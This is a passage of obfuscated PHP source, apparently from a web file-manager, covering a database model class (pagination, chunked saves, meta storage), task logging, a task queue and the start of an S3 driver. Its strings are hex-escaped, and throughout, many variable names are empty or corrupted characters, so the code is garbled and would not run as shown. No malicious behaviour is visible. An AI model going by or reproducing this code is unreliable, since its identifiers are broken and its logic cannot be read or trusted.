"\x69\x6e\x73\145\162\164\54\x75\160\x64\x61\x74\145", "\146\165\x6e\x63\164\151\157\x6e"), array("\143\162\x65\x61\164\x65\x54\x69\x6d\145", "\x74\x69\x6d\x65", "\151\156\x73\x65\162\x74", "\x66\x75\x6e\143\164\x69\157\156")); public function setDataAuto($) { $this->dataAuto = $; } public function __construct($ = '', $м = '', $ = '') { parent::__construct($, $м, $); } protected $tableMeta = array(); protected function _beforeInsert(&$鳮, $󡶙) { $˄ =& $_SERVER[ʇ]; if (!$this->checkDataAutoHas($˄[401])) { return; } $this->dataBeforeFilter($鳮, $˄[401]); } protected function _beforeUpdate(&$, $Ð) { $߾ =& $_SERVER[ʇ]; if (!$this->checkDataAutoHas($߾[402])) { return; } $this->dataBeforeFilter($, $߾[402]); } protected function _afterSelect(&$Ÿ, $) { if (!is_array($Ÿ)) { return; } if (!$this->checkDataAutoHas($_SERVER[ʇ][403])) { return; } foreach ($Ÿ as &$) { $this->dataAfterFilter($); } unset($); } protected function _afterFind(&$΂, $͝Թ) { if (!is_array($΂)) { return; } if (!$this->checkDataAutoHas($_SERVER[ʇ][403])) { return; } $this->dataAfterFilter($΂); } public static function textEncode($Ī) { if (!$Ī) { return $Ī; } $ʊ = json_encode($Ī); $ʊ = preg_replace_callback($_SERVER[ʇ][404], function ($) { return addslashes($[0]); }, $ʊ); return json_decode($ʊ); } public static function textDecode($) { $ =& $_SERVER[ʇ]; $Խ = json_encode($); $Խ = preg_replace_callback($[405], function ($) { return $_SERVER[ʇ][99]; }, $Խ); return json_decode($Խ); } public function setAutoIncrement($) { $ = array($this->getPk() => $); $ = $this->data($)->add(); if ($) { $this->delete($); } } public function getAutoIncrement() { $Ȫ = $this->getTableName(); $ї = $this->max($this->getPk()); $ο = $this->query("\x73\150\x6f\167\40\x74\x61\x62\x6c\x65\x20\163\164\x61\x74\165\x73\x20\167\x68\145\162\x65\40\x4e\x61\155\145\75\x27{$Ȫ}\47"); $ = $ο[0][$_SERVER[ʇ][406]]; $ = max($ї, $); return $; } protected function _callBefore($Շ, $ϙ) { return $this->cacheCallCheck($Շ, $ϙ, !1); } protected function _callAfter($, $) { return $this->cacheCallCheck($, $, !0); } protected function cacheFunctionAlias($) { return !1; } public function cacheMemory() { return $this->cache(null, 0); } protected function cacheCallCheck($, $˒, $ = false) { $ = $this->cacheFunctionAlias($˒); if (!$) { return; } foreach ($ as $劒 => $ş) { $ = $ş[0]; $Ü = explode($_SERVER[ʇ][50], $ş[1]); if ($ == $劒) { return $this->cacheFunctionGet($劒, $); } if ($ && in_array($, $Ü)) { $this->cacheFunctionClear($劒, $); } } } public function cacheFunctionGet($, $) { $ = $this->cacheKeyMake($, $); $ = Cache::get($); if (!is_array($)) { $ = call_user_func_array(array($this, $), array($, !0)); Cache::set($, $); } return $; } public function cacheFunctionClear($, $л) { $ = $л; if (!is_array($л)) { $ = array($л); } foreach ($ as $) { $՟ = $this->cacheKeyMake($, $); Cache::remove($՟); } } private function cacheKeyMake($, $ÓDž) { $ΚŎ =& $_SERVER[ʇ]; return get_class($this) . $ΚŎ[11] . $ . $ΚŎ[407] . $ÓDž; } protected function selectPageReset() { $ =& $_SERVER[ʇ]; if (isset($GLOBALS[$[408]])) { return; } $GLOBALS[$[408]] = isset($GLOBALS[$[7]][$[409]]) ? $GLOBALS[$[7]][$[409]] : !1; $GLOBALS[$[410]] = isset($GLOBALS[$[7]][$[399]]) ? $GLOBALS[$[7]][$[399]] : !1; $GLOBALS[$[7]][$[409]] = !1; $GLOBALS[$[7]][$[399]] = !1; } protected function selectPageRestore() { $ܨ =& $_SERVER[ʇ]; if (!isset($GLOBALS[$ܨ[408]])) { return; } $GLOBALS[$ܨ[7]][$ܨ[409]] = $GLOBALS[$ܨ[408]]; $GLOBALS[$ܨ[7]][$ܨ[399]] = $GLOBALS[$ܨ[410]]; if ($GLOBALS[$ܨ[7]][$ܨ[409]] === !1) { unset($GLOBALS[$ܨ[7]][$ܨ[409]]); } if ($GLOBALS[$ܨ[7]][$ܨ[399]] === !1) { unset($GLOBALS[$ܨ[7]][$ܨ[399]]); } unset($GLOBALS[$ܨ[408]]); unset($GLOBALS[$ܨ[410]]); } protected function selectPage($ = 200, $ = 1) { $ =& $_SERVER[ʇ]; global $in; $󃛬 = $this->optionsValue(); $ݮ = 50000; $ = isset($in[$[409]]) && $in[$[409]] ? $in[$[409]] : $; if ($ === -1) { $in[$[409]] = !1; $ݮ = 100000000; $ = $ݮ; } $ = $󃛬; $[$[411]] = array(); $ = intval($); $ = $ <= 5 ? 5 : ($ >= $ݮ ? $ݮ : $); $ = intval(isset($in[$[399]]) && $in[$[399]] ? $in[$[399]] : $); $ = $ <= 1 ? 1 : $; $ߎ = array(); $۽ = 1; if ($ == 1 && $۽) { $this->optionsValue($󃛬); $ߎ = $this->page($, $)->select(); $ŵ = is_array($ߎ) ? count($ߎ) : 0; if ($ŵ < $) { $ = 1; } else { $this->optionsValue($); $ŵ = intval($this->count()); $ = ceil($ŵ / $); } } else { $this->optionsValue($); $ŵ = intval($this->count()); $ = ceil($ŵ / $); $ = $ >= $ ? $ : $; $this->optionsValue($󃛬); $ߎ = $this->page($, $)->select(); } if (!is_array($ߎ)) { $ߎ = array(); } if ($ == 1) { $ŵ = count($ߎ); } $ = array($[412] => array($[413] => $ŵ, $[409] => $, $[399] => $, $[414] => $), $[415] => $ߎ); return $; } protected function checkLength($, $ʏ = 0, $Ŭ = '') { $틃 =& $_SERVER[ʇ]; $ʏ = $ʏ ? $ʏ : 65536; if (!$ || strlen($) < $ʏ) { return; } $Ŭ = $Ŭ ? $Ŭ . $틃[73] : $틃[12]; show_json($Ŭ . LNG($틃[416]) . "\x28{$ʏ}\51", !1); } protected function metaSet($ٕ, $ = null, $ܜ = null) { $ɓ =& $_SERVER[ʇ]; if (!$this->tableMeta || !$ٕ) { return !1; } $ = $this->tableMeta[$ɓ[417]]; $ݐ = $this->tableMeta[$ɓ[418]]; $˲ = Model($ݐ); $͆ = array($ => $ٕ, $ɓ[419] => $); if (is_null($)) { return $˲->where(array($ => $ٕ))->delete(); } if (is_null($ܜ) && is_string($)) { return $˲->where($͆)->delete(); } $ = is_array($) ? $ : array(); if (is_string($)) { $[$] = $ܜ; } $ʨ = array(); foreach ($ as $댷 => $Č) { if (is_null($Č) && is_string($댷)) { $˲->where(array($ => $ٕ, $ɓ[419] => $댷))->delete(); continue; } $this->checkLength($Č, !1, $ݐ . $ɓ[4] . $댷); $ʨ[] = array($ => $ٕ, $ɓ[96] => $댷, $ɓ[420] => $Č); } $ = $ɓ[421] . $ݐ; CacheLock::lock($); $˲->where(array($ => $ٕ))->addAll($ʨ, array(), !0); CacheLock::unlock($); return !0; } public function metaGet($Շ, $أ = false) { $ԝ =& $_SERVER[ʇ]; if (!$this->tableMeta) { return array(); } $ʹ = $this->tableMeta[$ԝ[417]]; $ = Model($this->tableMeta[$ԝ[418]]); if ($أ) { $́ = array($ʹ => $Շ, $ԝ[96] => $أ); return $->where($́)->getField($ԝ[420]); } $́ = array($ʹ => $Շ); $ލԝ = $->field($ԝ[422])->where($́)->select(); $ލԝ = array_to_keyvalue($ލԝ, $ԝ[96], $ԝ[420]); return $ލԝ; } private function checkDataAutoHas($) { if (!is_array($this->dataAuto) || count($this->dataAuto) == 0) { return !1; } foreach ($this->dataAuto as $) { if (in_array($, explode($_SERVER[ʇ][50], $[2]))) { return !0; } } return !1; } private function dataBeforeFilter(&$, $) { $ =& $_SERVER[ʇ]; if (!is_array($)) { return; } foreach ($this->dataAuto as $ِ) { $뇖 = $ِ[0]; if (!in_array($, explode($[50], $ِ[2]))) { continue; } switch (trim($ِ[3])) { case $[367]: case $[368]: $ = $ِ[1]; $칄 = isset($ِ[4]) ? (array) $ِ[4] : array(); if ($ == $[196] && array_key_exists($뇖, $)) { if (!$[$뇖]) { unset($[$뇖]); } break; } if (isset($[$뇖])) { array_unshift($칄, $[$뇖]); } if ($[367] == $ِ[3]) { $[$뇖] = call_user_func_array($, $칄); } else { $[$뇖] = call_user_func_array(array(&$this, $), $칄); } break; case $[316]: if (isset($[$뇖]) && $[$뇖]) { $[$뇖] = call_user_func_array(array(&$this, $ِ[1]), array($[$뇖])); } break; case $[319]: $[$뇖] = $[$ِ[1]]; break; case $[340]: if (isset($[$뇖]) && !is_string($[$뇖])) { $[$뇖] = json_encode_force($[$뇖]); } break; case $[369]: if ($[$뇖] === $[12]) { unset($[$뇖]); } break; case $[370]: $[$뇖] = $ِ[1]; default: break; } } if ($ == $[401]) { $ӗ = strtolower($this->db->getDbType()); if (strpos($ӗ, $[13]) !== 0) { return; } $ۃ = $this->field(!0)->fields; $ = $ۃ[$[298]]; if (isset($ۃ[$[297]])) { unset($[$ۃ[$[297]]]); } foreach ($ as $ => $) { if (!isset($[$])) { $[$] = $[12]; } } } } private function dataAfterFilter(&$ʭ) { $ =& $_SERVER[ʇ]; foreach ($this->dataAuto as $ڸ) { $ = $ڸ[0]; if (!isset($ʭ[$])) { continue; } if (!in_array($[403], explode($[50], $ڸ[2]))) { continue; } switch (trim($ڸ[3])) { case $[367]: case $[368]: $ʚŏ = isset($ڸ[4]) ? (array) $ڸ[4] : array(); array_unshift($ʚŏ, $ʭ[$]); if (isset($ڸ[4]) && $ڸ[4] == $[423]) { $ʚŏ = array($ʭ[$]); } if ($[367] == $ڸ[3]) { $ʭ[$] = call_user_func_array($ڸ[1], $ʚŏ); } else { $ʭ[$] = call_user_func_array(array(&$this, $ڸ[1]), $ʚŏ); } break; case $[316]: if (isset($ʭ[$]) && $ʭ[$]) { $ʭ[$] = call_user_func_array(array(&$this, $ڸ[1]), array($ʭ[$])); } break; case $[319]: $ʭ[$] = $ʭ[$ڸ[1]]; break; case $[340]: $ = $ʭ[$]; $ʭ[$] = json_decode($, !0); if (is_null($ʭ[$])) { $ʭ[$] = $; } break; case $[369]: if ($ʭ[$] === $[12]) { unset($ʭ[$]); } break; case $[370]: $ʭ[$] = $ڸ[1]; break; default: break; } } } public function saveAll($䜘) { $̛ =& $_SERVER[ʇ]; $씑 = $this->tablePrefix . $this->tableName; $Ɯ = self::SQL_WHERE_IN_CHUNK; $䜘 = is_array($䜘) ? $䜘 : array(); $ = $̛[424]; $ɨ = 0; $Ĺ = array(); $ = count($䜘); for ($ڒػ = 0; $ڒػ < $; $ڒػ++) { $ͨ = $䜘[$ڒػ]; if (!is_array($ͨ) || count($ͨ) != 4) { continue; } $͚ = "\125\120\x44\x41\x54\x45\40\x60{$씑}\x60\x20\x53\x45\124\x20{$ͨ[2]}\40\75\40\x43\101\123\105\x20{$ͨ[0]}\x20\12"; if ($ɨ == 0) { $ = $͚; } $Ĺ[] = $̛[120] . $ͨ[1] . $̛[120]; $ɨ++; $ .= "\x20\x57\110\x45\x4e\x20\x27{$ͨ[1]}\47\40\124\110\105\x4e\x20\47{$ͨ[3]}\47\40\12"; if ($ɨ == $Ɯ || $ڒػ == $ - 1) { $䓍 = implode($̛[50], $Ĺ); $ .= "\x20\x45\116\104\40\40\x57\x48\105\122\105\40{$ͨ[0]}\40\x49\116\40\50{$䓍}\51\40"; $this->execute($); $ɨ = 0; $ = $͚; $this->chunkEventCheck(count($Ĺ)); $Ĺ = array(); } } $this->chunkEventSet(); } public function saveAllEach($) { $ =& $_SERVER[ʇ]; $س = $this->tablePrefix . $this->tableName; foreach ($ as $) { if (!is_array($) || count($) != 4) { continue; } $ω = $[0] . $[425] . $[1] . $[120]; $͸ = $[2] . $[425] . $[3] . $[120]; $ = "\165\160\144\x61\164\x65\x20{$س}\x20\x73\x65\164\x20{$͸}\40\x77\x68\145\x72\145\x20{$ω}\x3b"; $this->execute($); } } protected $_chunkEvent = false; protected $_chunkEventParam = false; public function chunkEventSet($ܔ = false, $Ȳ = false) { $this->_chunkEvent = $ܔ; $this->_chunkEventParam = $Ȳ; } private function chunkEventCheck($) { if (!$this->_chunkEvent) { return; } $׾ = is_array($this->_chunkEventParam) ? $this->_chunkEventParam : array(); $׾[$_SERVER[ʇ][426]] = $; Hook::trigger($this->_chunkEvent, $׾); } public function addAll($, $ĸ = array(), $ = false) { $ =& $_SERVER[ʇ]; ignore_timeout(); $ = self::SQL_WHERE_IN_CHUNK; if (empty($)) { $this->error = think_lang($[317]); return !1; } $ĸ = $this->_parseOptions($ĸ); foreach ($ as $ => $) { $[$] = $this->_facade($); $this->_beforeInsert($[$], $ĸ); } if (method_exists($this->db, $[318])) { for ($ = 0; $ < count($); $ += $) { $ = array_slice($, $, $); if (!is_array($) || count($) == 0) { break; } $ = $this->db->insertAll($, $ĸ, $); $this->chunkEventCheck(count($)); } $this->chunkEventSet(); } else { $this->startTrans(); foreach ($ as $ => $) { $ = $this->db->insert($, $ĸ, $); } $this->commit(); } if (!1 !== $) { $، = $this->getLastInsID(); if ($،) { return $،; } } return $; } public function save($ = '', $ = array()) { $ԏĪ =& $_SERVER[ʇ]; $ = self::SQL_WHERE_IN_CHUNK; $Է = $this->optionsValue(); $舎 = $this->findWhereField($Է); if (!$舎) { return parent::save($, $); } $׼ = 0; $ߣ = $Է[$ԏĪ[321]][$舎][1]; $ߣ = is_array($ߣ) ? $ߣ : array(); $ = count($ߣ); for ($ = 0; $ < $; $ += $) { $⒑ = array_slice($ߣ, $, $); if (!is_array($⒑) || count($⒑) == 0) { break; } $Է[$ԏĪ[321]][$舎][1] = $⒑; $this->optionsValue($Է); $׼ += parent::save($, $); $this->chunkEventCheck(count($⒑)); } $this->chunkEventSet(); return $׼; } public function add($ = '', $ = array(), $񕚮 = false) { if ($this->addTaskStatus && is_array($)) { $this->addTaskData[] = $; return; } return parent::add($, $, $񕚮); } public function parseWhereLike($듃, $ʠ = '', $϶ = false, &$ݵ = false) { $⍡ =& $_SERVER[ʇ]; $ = $GLOBALS[$⍡[6]][$⍡[427]]; if (!$[$⍡[428]]) { return $듃; } if (!is_array($듃)) { return $듃; } $ɟ = array(); $ = 0; foreach ($듃 as $뜗 => $ǹ) { if (is_array($ǹ) && count($ǹ) == 2 && $ǹ[0] == $⍡[429] && is_string($ǹ[1]) && substr($ǹ[1], 0, 1) == $⍡[430] && substr($ǹ[1], strlen($ǹ[1]) - 1, 1) == $⍡[430]) { $ݵ = !0; $ = is_string($뜗) ? $뜗 : $ʠ; $ = substr($ǹ[1], 1, strlen($ǹ[1]) - 2); $ = $this->db->escapeString($); if (!strpos($, $⍡[10])) { $ = $⍡[431] . $ . $⍡[431]; } $˖ = $⍡[205] . $ . $⍡[205]; $ = str_replace(array($⍡[10], $⍡[432], $⍡[11]), $⍡[433], $); if ($[$⍡[434]]) { $˖ = $⍡[435] . $ . $⍡[436]; if ($[$⍡[437]]) { $˖ = $⍡[436] . $ . $⍡[435]; } } $ɟ[$] = $⍡[438] . $ . $⍡[439] . $˖ . $⍡[440]; $++; continue; } if (is_array($ǹ)) { $ʠ = is_string($뜗) ? $뜗 : $ʠ; $ǹ = $this->parseWhereLike($ǹ, $ʠ, !0, $ݵ); } if (is_numeric($뜗)) { $ɟ[$] = $ǹ; $++; } else { $ɟ[$뜗] = $ǹ; } } if ($ݵ && !$϶) { } return $ɟ; } private $addTaskStatus = false; private $addTaskData = array(); public function addTaskStart() { $this->addTaskStatus = !0; $this->addTaskData = array(); } public function addTaskEnd() { if (!$this->addTaskStatus) { return; } $this->addAll($this->addTaskData); $this->addTaskStatus = !1; $this->addTaskData = array(); } public function select($ߡ = array()) { $ϡٛ =& $_SERVER[ʇ]; $ѱ = self::SQL_WHERE_IN_CHUNK; $ޭ = $this->optionsValue(); $ = $this->findWhereField($ޭ); if (!$ || isset($ޭ[$ϡٛ[338]]) || isset($ޭ[$ϡٛ[399]])) { return parent::select($ߡ); } $ﯼ = $ޭ[$ϡٛ[321]][$][1]; $ﯼ = is_array($ﯼ) ? $ﯼ : array(); $ț = null; for ($㑸 = 0; $㑸 < count($ﯼ); $㑸 += $ѱ) { $ⴡ = array_slice($ﯼ, $㑸, $ѱ); if (!is_array($ⴡ) || count($ⴡ) == 0) { break; } $ޭ[$ϡٛ[321]][$][1] = $ⴡ; $this->optionsValue($ޭ); $ = parent::select($ߡ); if (!$) { continue; } $ț = is_array($ț) ? $ț : array(); $ț = array_merge($ț, $); } return $ț; } public function delete($Ŗ = array()) { $ʔ =& $_SERVER[ʇ]; $ҫ = self::SQL_WHERE_IN_CHUNK; $Ė = $this->optionsValue(); $Ƅܐ = $this->findWhereField($Ė); if (!$Ƅܐ) { return parent::delete($Ŗ); } $ʾ = 0; $˩ = $Ė[$ʔ[321]][$Ƅܐ][1]; $˩ = is_array($˩) ? $˩ : array(); for ($ιތ = 0; $ιތ < count($˩); $ιތ += $ҫ) { $ݬ = array_slice($˩, $ιތ, $ҫ); if (!is_array($ݬ) || count($ݬ) == 0) { break; } $Ė[$ʔ[321]][$Ƅܐ][1] = $ݬ; $this->optionsValue($Ė); $ʾ += parent::delete($Ŗ); } return $ʾ; } private function findWhereField($ߴÝ) { $ =& $_SERVER[ʇ]; $ = self::SQL_WHERE_IN_CHUNK; if (!is_array($ߴÝ) || !is_array($ߴÝ[$[321]])) { return !1; } foreach ($ߴÝ[$[321]] as $ => $) { if (is_array($) && isset($[0]) && is_string($[0]) && strtolower($[0]) == $[7] && is_array($[1]) && count($[1]) > $) { ignore_timeout(); return $; } } return !1; } public function setMasterDB($ʩ = true) { think_config($_SERVER[ʇ][441], $ʩ); } } class ModelBaseLight { public $optionType = ''; public $modelType = "\x53\x79\x73\x74\x65\x6d\x4f\160\164\151\157\x6e"; public $field = array(); public function listData($Ż = false, $蒬 = "\155\x6f\144\x69\146\x79\x54\151\x6d\x65", $ = false) { $ = Model($this->modelType)->get(!1, $this->optionType, !0); $ȷ = array_values($); if ($ȷ && $ȷ[0] && !is_array($ȷ[0])) { Model($this->modelType)->cacheRemove($this->optionType); $ = Model($this->modelType)->get(!1, $this->optionType, !0); } if (!$) { return $Ż ? null : array(); } if (!$Ż) { $ = array_filter(array_values($)); return array_sort_by($, $蒬, $); } return $[$_SERVER[ʇ][442] . $Ż]; } public function insert($) { $궺៤ =& $_SERVER[ʇ]; $ = array_field_key($, $this->field); $č = Model($this->modelType)->get($궺៤[443], $this->optionType . $궺៤[444]); $č = $č ? $č : 0; $[$궺៤[445]] = ++$č; $[$궺៤[217]] = time(); $[$궺៤[87]] = time(); Model($this->modelType)->set($궺៤[443], $č, $this->optionType . $궺៤[444]); Model($this->modelType)->set($궺៤[442] . $č, $, $this->optionType); return $č; } public function update($ܝ, $) { $ =& $_SERVER[ʇ]; $ = array_field_key($, $this->field); $ֆ = $this->listData($ܝ); if (!$ֆ || !$ܝ) { return !1; } $ = array_merge($ֆ, $); $[$[87]] = time(); return Model($this->modelType)->set($[442] . $ܝ, $, $this->optionType); } public function remove($؊) { if (!$؊) { return !1; } return Model($this->modelType)->remove($_SERVER[ʇ][442] . $؊, $this->optionType); } public function clear() { $ӗӚ =& $_SERVER[ʇ]; Model($this->modelType)->remove($ӗӚ[443], $this->optionType . $ӗӚ[444]); return Model($this->modelType)->remove(null, $this->optionType); } public function cacheClear() { return Model($this->modelType)->cacheRemove($this->optionType); } public function findByKey($, $Ғ) { if (!$Ғ) { return !1; } $ض = $this->listData(); $ض = array_to_keyvalue($ض, $); return isset($ض[$Ғ]) ? $ض[$Ғ] : !1; } public function findByName($) { return $this->findByKey($_SERVER[ʇ][32], $); } protected function resetData($麎) { $깆 =& $_SERVER[ʇ]; $麎 = is_array($麎) ? $麎 : array(); $ߤ = array(); for ($ = 0; $ < count($麎); $++) { $ߤ[$깆[442] . $麎[$][$깆[445]]] = $麎[$]; } return Model($this->modelType)->set($ߤ, !1, $this->optionType); } private function getAutoName($) { $׻ = array_to_keyvalue($this->listData(), $_SERVER[ʇ][32]); if (!$׻ || !isset($׻[$])) { return $; } for ($ = 1; $ < count($׻); $++) { $ݹ = $ . "\x28{$}\51"; if (!isset($׻[$ݹ])) { return $ݹ; } } return $ݹ; } } goto cȒٖ; f: class TaskHttp extends Task { protected function startAfter() { $Փ =& $_SERVER[ʇ]; $܋ =& $this->task; $܋[$Փ[1778]] = 1; Hook::bind($Փ[1746], array($this, $Փ[1779])); Hook::bind($Փ[1748], array($this, $Փ[1780])); Hook::bind($Փ[1750], array($this, $Փ[1781])); } protected function endAfter() { $␵ =& $_SERVER[ʇ]; Hook::unbind($␵[1746], array($this, $␵[1779])); Hook::unbind($␵[1748], array($this, $␵[1780])); Hook::unbind($␵[1750], array($this, $␵[1781])); } public function progressStart($) { $怫ޟ =& $_SERVER[ʇ]; $䩺 = curl_getinfo($); self::log($怫ޟ[1782] . $䩺[$怫ޟ[353]]); self::valueSet($this->task[$怫ޟ[445]], $this->task); } public function progressEnd($ߚ) { $ǟީ =& $_SERVER[ʇ]; self::log($ǟީ[1783] . $this->task[$ǟީ[445]]); $this->end(); } public function progress($̨, $ۑ, $ϧ, $, $粯) { $Ʃ =& $_SERVER[ʇ]; $ʑש =& $this->task; if ($粯 > 0) { $ʑש[$Ʃ[825]] = $ʑש[$Ʃ[825]] == 0 ? $ : $ʑש[$Ʃ[825]]; $ʑש[$Ʃ[1702]] = $粯; } else { if ($ϧ > 0) { $ʑש[$Ʃ[825]] = $ʑש[$Ʃ[825]] == 0 ? $ۑ : $ʑש[$Ʃ[825]]; $ʑש[$Ʃ[1702]] = $ϧ; } } $this->update(); self::log("\160\x72\x6f\x67\162\145\x73\x73\110\164\x74\160\x3a\144\x6f\x77\156\72{$ϧ}\x2f{$ۑ}\x3b\40\x75\x70\x6c\157\141\144\72{$粯}\x2f{$}\x3b"); } } class TaskLog { private $task; private $taskID; private $isEnd = false; static function newTask($’, $ګ = '', $䤵ޒ = 0, $ԫ = '') { $ =& $_SERVER[ʇ]; $ԫ = $ԫ ? $ԫ : ($ګ ? $ګ : $’); $ = new Task($’, $ګ, $䤵ޒ, $ԫ); $GLOBALS[$[1784] . $’] = new TaskLog($[1685], $, $ԫ); return $; } public function __construct($ = '', $ = '', $Ʊ = '') { $ =& $_SERVER[ʇ]; if (!$) { $ = $[1685]; } $Ҩ = $ . $[432] . rand_string(10); if (!$Ʊ) { $Ʊ = $ . $[53] . $Ʊ; } switch ($) { case $[1685]: if (!$ || !$->task) { return echoLog($ . $[1785]); } $ = $; $Ҩ = $->task[$[445]]; $ = $->task[$[445]]; if (!$->task[$[1591]]) { $->task[$[1591]] = $Ʊ ? $Ʊ : $; } break; case $[1786]: if (!$) { return echoLog($ . $[1787]); } $뭀ߢ = is_string($) ? array($) : $; $ = new TaskFileTransfer($Ҩ, $, 0, $Ʊ ? $Ʊ : $뭀ߢ[0]); foreach ($뭀ߢ as $וط) { $->addPath($וط); } break; case $[359]: if (!$) { return echoLog($ . $[1787]); } $뭀ߢ = is_string($) ? array($) : $; $ = new TaskZip($Ҩ, $, 0, $Ʊ ? $Ʊ : $뭀ߢ[0]); foreach ($뭀ߢ as $וط) { $->addPath($וط); } break; case $[1261]: if (!$) { return echoLog($ . $[1787]); } $ = new TaskUnZip($Ҩ, $, 0, $Ʊ ? $Ʊ : $); if ($) { $->addFile($); } break; case $[151]: $ = new TaskHttp($Ҩ, $); break; default: return; break; } $this->task = $; $this->taskID = $Ҩ; Hook::bind($[1722], array($this, $[1788])); Hook::bind($[1724], array($this, $[1789])); Hook::bind($[1718], array($this, $[1790])); echoLog($[1791] . $->task[$[1591]]); } public function __destruct() { $this->end(); } public function end($ = '') { $ =& $_SERVER[ʇ]; if ($this->isEnd) { return; } if (!$this->task || !$this->taskID) { return; } $this->isEnd = !0; $this->task->end($); $this->task = !1; $this->taskID = !1; Hook::unbind($[1722], array($this, $[1788])); Hook::unbind($[1724], array($this, $[1789])); Hook::unbind($[1718], array($this, $[1790])); } public function taskUpdate($) { $ە =& $_SERVER[ʇ]; if (!$ || $this->taskID != $[$ە[445]]) { return; } $⡉ = 20; $ = intval($[$ە[1703]] * $⡉); $ = $ە[165] . str_repeat($ە[931], $) . $ە[1061] . str_repeat($ە[53], $⡉ - $) . $ە[167]; $Թ® = $ . sprintf($ە[1792], $[$ە[1703]] * 100) . $ە[1793]; $Ք = $Թ® . $[$ە[1702]] . $ە[8] . $[$ە[825]] . LNG($ە[1794]); $ = $ە[12]; if ($[$ە[1778]]) { $Ք = $Թ® . size_format($[$ە[1702]]) . $ە[8] . size_format($[$ە[825]]); $ = size_format($[$ە[1704]]) . $ە[1795]; } if ($[$ە[1111]]) { $[$ە[1752]] = $[$ە[1111]] . $ە[53] . $[$ە[1752]]; } if ($[$ە[1752]]) { $ = $ە[12]; if ($[$ە[1754]]) { $ = $ە[50] . size_format($[$ە[1755]]) . $ە[8] . size_format($[$ە[1754]]); } $ .= $[$ە[1752]] . $; } if ($[$ە[802]] && !$[$ە[1754]]) { $ .= $ە[53] . size_format($[$ە[1759]]) . $ە[8] . size_format($[$ە[802]]); } echoLog($Ք . $ە[53] . $, !0); } public function taskEnd($Ïȿ) { $ҽ =& $_SERVER[ʇ]; if (!$Ïȿ || $this->taskID != $Ïȿ[$ҽ[445]]) { return; } $Д = $Ïȿ ? $Ïȿ[$ҽ[1702]] . $ҽ[8] . $Ïȿ[$ҽ[825]] . LNG($ҽ[1794]) . $ҽ[73] : $ҽ[12]; echoLog($ҽ[1796] . $Ïȿ[$ҽ[1591]] . ($Ïȿ[$ҽ[496]] ? $ҽ[73] . $Ïȿ[$ҽ[496]] : $ҽ[12]) . $ҽ[73] . $Д . $ҽ[1797] . sprintf($ҽ[897], timeFloat() - $Ïȿ[$ҽ[1705]]) . $ҽ[1717]); $this->end(); } public function taskKill($) { $ζ =& $_SERVER[ʇ]; if (!$ || $this->taskID != $[$ζ[445]]) { return; } echoLog($ζ[1798] . $[$ζ[1591]]); } } class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\x74\x61\163\153\x51\x75\145\x75\145\114\145\156\147\164\150"; const QUEUE_DATA = "\164\x61\x73\x6b\121\x75\145\x75\x65\104\141\x74\x61"; const QUEUE_TIME = "\164\141\x73\x6b\121\165\x65\x75\x65\x4c\141\163\x74\x52\x75\x6e"; const QUEUE_THREAD = "\164\x61\x73\153\121\165\x65\165\x65\124\150\162\145\141\x64"; public static $listData = false; public static $listDataAdd = false; public static function initTask() { } public static function add($, $ˍ = array(), $ = '', $ͫ = '') { $Ƣ =& $_SERVER[ʇ]; if (self::$listData === !1) { self::$listData = self::getAll(); self::$listDataAdd = array(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ͫ && array_find_by_field(self::$listData, $Ƣ[96], $ͫ)) { return !0; } if ($ͫ && array_find_by_field(self::$listDataAdd, $Ƣ[96], $ͫ)) { return !0; } self::$listDataAdd[] = array($Ƣ[310] => $, $Ƣ[1799] => $ˍ, $Ƣ[496] => $, $Ƣ[96] => $ͫ); return !0; } public static function addSubmit() { $֝ =& $_SERVER[ʇ]; if (!self::$listDataAdd || count(self::$listDataAdd) == 0) { return; } self::setAll(array_merge(self::getAll(), self::$listDataAdd)); write_log($֝[1800] . json_encode_force(array_to_keyvalue(self::$listDataAdd, $֝[12], $֝[496])), $֝[187]); self::$listData = !1; self::$listDataAdd = !1; } public static function addNow($ق, $Ӄ = array(), $ = '', $ = '') { $ё޽ =& $_SERVER[ʇ]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ = self::getAll(); if ($ && array_find_by_field($, $ё޽[96], $)) { return !0; } $[] = array($ё޽[310] => $ق, $ё޽[1799] => $Ӄ, $ё޽[496] => $, $ё޽[96] => $); self::setAll($); write_log($ё޽[1800] . $, $ё޽[187]); return !0; } public static function run() { $ =& $_SERVER[ʇ]; $ = self::getAll(); $͋ = array_shift($); if (!$͋) { return !1; } self::setAll($); $ = timeFloat(); $Î = $[12]; try { $Î = Hook::apply($͋[$[310]], $͋[$[1799]]); } catch (Exception $݉) { write_log($݉, $[1229]); } $Ă = number_format(timeFloat() - $, 3) . $[1717]; if ($Î && is_string($Î)) { $Ă = $Ă . $[1801] . $Î; } write_log($[1802] . $͋[$[496]] . $[1803] . $Ă, $[187]); Cache::set(self::QUEUE_TIME, time(), 3600 * 24 * 30); return !0; } public static function runThread() { $ה =& $_SERVER[ʇ]; $Æ = self::threadCount() + 1; if ($Æ > 3 || !self::count()) { return; } write_log($ה[1804] . $Æ, $ה[187]); Cache::set(self::QUEUE_THREAD, $Æ, 3600 * 24); AutoTask::clearUserStatus(); while (!0) { if (!self::run()) { break; } usleep(mt_rand(200, 50000)); } Cache::set(self::QUEUE_THREAD, 0, 3600 * 24); write_log($ה[1805], $ה[187]); } public static function getKey($흦, $ف = "\x69\156\x74") { $Ɏ =& $_SERVER[ʇ]; Cache::removeMemory($흦); $β = Cache::get($흦); if ($ف == $Ɏ[334]) { return $β ? intval($β) : 0; } if ($ف == $Ɏ[1806]) { return is_array($β) ? $β : array(); } return $β; } public static function lastTime() { return self::getKey(self::QUEUE_TIME); } public static function count() { return self::getKey(self::QUEUE_LENGTH); } public static function threadCount() { return self::getKey(self::QUEUE_THREAD); } public static function getAll() { return self::getKey(self::QUEUE_DATA, $_SERVER[ʇ][1806]); } public static function setAll($ޖ) { $ɂ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($ޖ), $ɂ); Cache::set(self::QUEUE_DATA, $ޖ, $ɂ); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); Cache::set(self::QUEUE_THREAD, 0, 60); } } goto dڔ; Bǜ: class PathDriverS3 extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); } public function uploadFormData($֫, $呜 = 3600) { $γ =& $_SERVER[ʇ]; $ = $γ[215]; $ȟ᪽ = $γ[255]; $ = $γ[62]; $ = 